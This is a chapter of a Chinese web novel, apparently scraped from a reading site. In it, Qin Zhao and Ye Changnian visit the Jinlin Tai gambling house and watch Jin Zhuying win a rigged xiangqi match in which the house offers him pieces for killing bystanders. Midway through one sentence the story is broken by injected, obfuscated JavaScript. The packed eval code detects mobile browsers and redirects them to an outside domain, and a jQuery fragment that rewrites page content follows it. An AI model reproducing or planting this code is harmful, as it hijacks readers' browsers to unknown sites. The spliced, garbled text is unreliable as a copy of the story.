没想到陈斯跟晋竹影所说，洛城证人跑掉的事情，叶长年竟是当事人。
“三五皇子在朝堂上竟然联合推举七皇子在万诗坛正中，我直觉不对，叫人紧盯着三皇子和五皇子，”叶长年并未参与到黎江假死一事中，却从朝堂得出结论，“发现三皇子派人去找五皇子，就跟踪了一道，看到他们在交接一个人。”
“证人？”
“正是。”
“他现在在三皇子手里？”
叶长年摇摇头：“非也，他跑了。”
秦昭来了精神：“咋回事？”
“两伙人都想把人往自己那抢，五皇子这边不想把证人送出去，三皇子那边又非要把证人当场杀死，一来一回的，证人找机会溜了。”
“还挺机灵，查到具体是什么人了吗？”
“年龄不大的瘦高男子，鼻梁上有道疤，我对比了特征，然后去查洛城当年的相关人事，这人可能是当年守城之人。”
“是雍朝人？”
“对，根本都不是北狄人。”
“我们去哪找他？”
叶长年笑了，环顾四周：“不晓得你去没去过，金麟台。”
“听说过。但这么多人在外面看着我呢，我不能出去。”秦昭指了指围墙，从她打太子陵回来，皇帝派来的护卫就寸步不离守在别院外。执行的要求也很简单，无论秦昭在里面做什么，别让她出来。
“哦，认识你这么多年，第一次听说你能被守卫困住，失敬失敬。”叶长年揶揄道。
秦昭白了他一眼：“今晚出发吗，地址给我。”
陆风怜从房顶探出头来：“我也去。”
秦昭：“那你要把剑取下来。”
“不行。”
叶长年笑道：“兄台放心，那地方安全得很。”
柳市街金麟台。
京城最大的赌场，数年前凭空出现在京城，凭借花样繁多的规矩和玩法挤兑黄许多家竞争对手。这里不限身份，王公贵族与平民百姓都可进入，但所有赌场的牙人管事包括客人都必须佩戴赌场提供的统一制式、仅遮住上半张脸的面具，唯有赌场庄家知晓面具下每个人的真实身份。
这里对每一位来客提供庇佑，哪怕是杀人犯。所以引发刑部与大理寺巨大不满——因为不知道这位老板是何等通天的人物，他们若要进来抓人，需要走极复杂的审批流程，最终竟然需要得到五皇子首肯才可以，而五皇子时常来玩，没人想触他的霉头，久而久之头铁非要进来抓人的事也少了。
金麟台的外貌与其名字正相反，建筑古拙大气，雕梁画栋一概没有，只有高大的门楣和粗壮的暗紫色木头柱子表明此地非同小可。大门打开，正对影壁，上题四句诗：“天上风雪月，人间金麟台。无相千金掷，执骰碎玉光。”
秦昭二人向门里走，秦昭偏头对叶长年道：“赌场也写诗，万诗坛也写诗，从这点来讲没什么区别。”
叶长年横秦昭一眼：“都是为了钱和权，从这点来讲也没什么区别。”
“你把自己也骂了。”
“那我再思考一下，嗯，思考之后觉得还是一回事。”
秦昭还想说什么，见门口侍立的管事迎上来，便住了嘴。管事搜身后递上属于客人的丑面具，要他们戴上再进去，还特意补一句，说他们今天来得巧，有人点名要见赌场老板，要经历老板准备的严格考验，赌局刚刚开始，已有不少今日的玩家去围观。
秦昭与叶长年对视一眼，心道这人莫不就是自己要找的人，赶忙戴上面具加快进步往人声鼎沸处跑去，裁判刚刚宣布完规则。
本来该摆满牌桌的房间此时只有正中间有一张桌案，上面摆好了象棋，两个戴面具的人衣着相同，相对而坐。几步开外有围观的人群，约么四五十人，正交头接耳。
“劳驾，哪个是来砸场子的？”秦昭偏头问向旁边的围观群众。
“左边那个，红棋。”
“不就是下棋吗，怎么就严格考验了？”
围观群众热情解说：“你仔细看，他面前的棋，车马炮各少一个。”
“他输了会如何？”
“会被打断腿。”
秦昭惊愕，只觉这条件实在太不公平，又眯眼看着红棋选手的背影，心里嘀咕这人到底是不是自己要找的那个。
“这么离谱的条件他竟然都答应？”
围观群众笑了：“你刚来没听到前面的。他少了车马炮，但是在场的人他可以随便杀，杀一个，就多给他一个车马炮。”
秦昭：“！”
听闻此话，饶是旁边一直打量人群的叶长年也凑过身来。
“那你们怎么不跑？他怎么说的？”
“因为他说他不会杀无辜的人，况且方才裁判说今晚能看完挑战的观众赢了拿钱输了免单。”
秦昭点点头，心道果然有鱼食的地方就会有鱼，也不顾鱼食后面是不是藏着钩子。不过这人还真是个汉子，不愧是能从北疆回到京城的人。
说话之间，棋局开始，红方先行。
秦昭不会下棋，完全看不懂木盘上的小木块挪来摆去有什么意思，所以当时苏牧离开给她的白玉象棋她一直扔在一旁。但是当朝皇上喜欢下棋，所以三位皇子和众多大臣也都苦练棋艺，俨然是京城官场的风尚，美其名曰有大局观，做执棋者。
陪上司下棋很是一门艺术，不能总输，否则上司能看出来你哄得太假，定会觉得你有所图谋。赢不仅要控制数量，又要赢地侥幸，至少让领导觉得你是侥幸。而这一切都要在表演的情况下，表演惨败，表演惜败，表演侥幸得胜，非常考验人的综合能力。
秦昭觉得皇帝让人陪他下棋，简直是助长不正之风，但她历来说话没什么水花，便把嘴闭上。
双方都已经下了几十步，秦昭看不懂，但她能看出来双方的棋子都在变少，偏头问叶长年：“现在什么情况？”
“红方折了一马，两兵，一相。黑方折一马，一兵，一车。”
“什么意思？红方厉害？”
“他确实很谨慎，开局少三子又必须要赢，只能稳扎稳打，”叶长年摇头，“但他眼下已被双将，情况很差。”
“什么叫双将？”
“再动一步可能就死。”
似是完全被叶长年说中情形，只见此人抬手在空中踯躅，却半天不动。
围观众人大气不敢喘，所有人的目光都聚集在他的右手指尖，等着眼前此人下一步究竟会作何选择。
突然，有人口哨声从远处传来，阵阵激荡，站在一旁的裁判开口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15897063|157655||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道：“年轻人，你现在情况很是危险，我们老板大度，给你一次机会，不过规矩略有调整。你现在每杀两个人，就可以多拿到一个车马炮。房间里站着的这些人，随便你选。”
脸被面具遮挡看不到表情，裁判的声音充满笑意与诱惑。
话音刚落，方才四门洞开的房间突然响起“砰”“砰”地几声，大门都从外面被紧紧关上。围观群众开始骚乱，有人开始与看门人产生争执，间或传来撕扯的声音。
此人低头看着棋盘，没有做声，也没有动作。
周遭的混乱在发酵。
“用别人的命，换你的腿，非常划算。命是别人的，腿是你自己的。”裁判再一次开口。
此人抬起头，开口冷笑：“金麟台就是这么算账的？告诉你们老板，我不会杀无辜之人，更不会用无辜之人的命来换我的腿。我就坐在这，第一局输，我左腿留给你们。第二局输，我右腿留给你们，我总会只留着一颗头去见你们老板。”
裁判闻言，点点头，不再做声，示意他继续看棋。
方才骚乱的围观群众见不会被波及，也安静下来，屏息等待着他下一步该如何走。
短暂的风波瞬间平息，而秦昭，在听到他说话的那一刻，脑中轰地一声炸开。
此人不是什么洛城的证人。
他是晋竹影！
秦昭登时抓住叶长年的胳膊，在他耳边道：“是晋竹影，怎么办啊！”
饶是叶长年与晋竹影打交道不多，也已然听出他的声音，面具后的眉头也紧紧皱起来：“他下棋水平怎么样？”
“从来没跟我说过他会。”秦昭的手有些发颤。
“再等等看，”叶长年倾下身子道，“他抬起来的那只手并没有发抖，而且他拒绝了裁判的提议，应该心里有数。”
时间一分一秒过去，晋竹影的手突然动了，但也只是从一颗棋子悬到另一颗棋子上方而已，始终没有落下去。
方才安静的围观群众又开始交头接耳起来。
又一声口哨声传来，裁判道：“老板说如果你执意不肯伤人，规则就改回去，你只要杀一人，就给你补一颗子。”
话音未落，晋竹影却突然动了，只见他把帅往左移了一步：“算了，先这么地吧。”
将军之势不复存在，但黑子可以轻易对红子再次双将。
执黑字之人立刻把自己的炮拿起来，与红方换子——他开始虐杀晋竹影了。
秦昭急得满头大汗，想冲出去搅浑棋局，却被叶长年拉住：“他心里有数。”
“几个意思？”秦昭不解。
叶长年轻声道：“对方现在呈骄兵之势，一旦抱着虐待的心态对敌方，追求赢地漂亮，就会给对方可乘之机。晋竹影应该早就想好了该怎么下，他只是在拖时间，熬对方的心态。”
秦昭将信将疑，把目光重新投入棋局，只见黑子每次落子声都极大，啪的一声吃掉对方的棋子。而红子，则不以吃子为目的，来回左右腾挪。
终于，红子的兵拱到了黑子将的面前。
而将的退路，被自己的仕挡住。
围观群众倒吸一口凉气。
黑子选手站起身来，转身离去。
口哨声响起，悠远地不知传向何处去。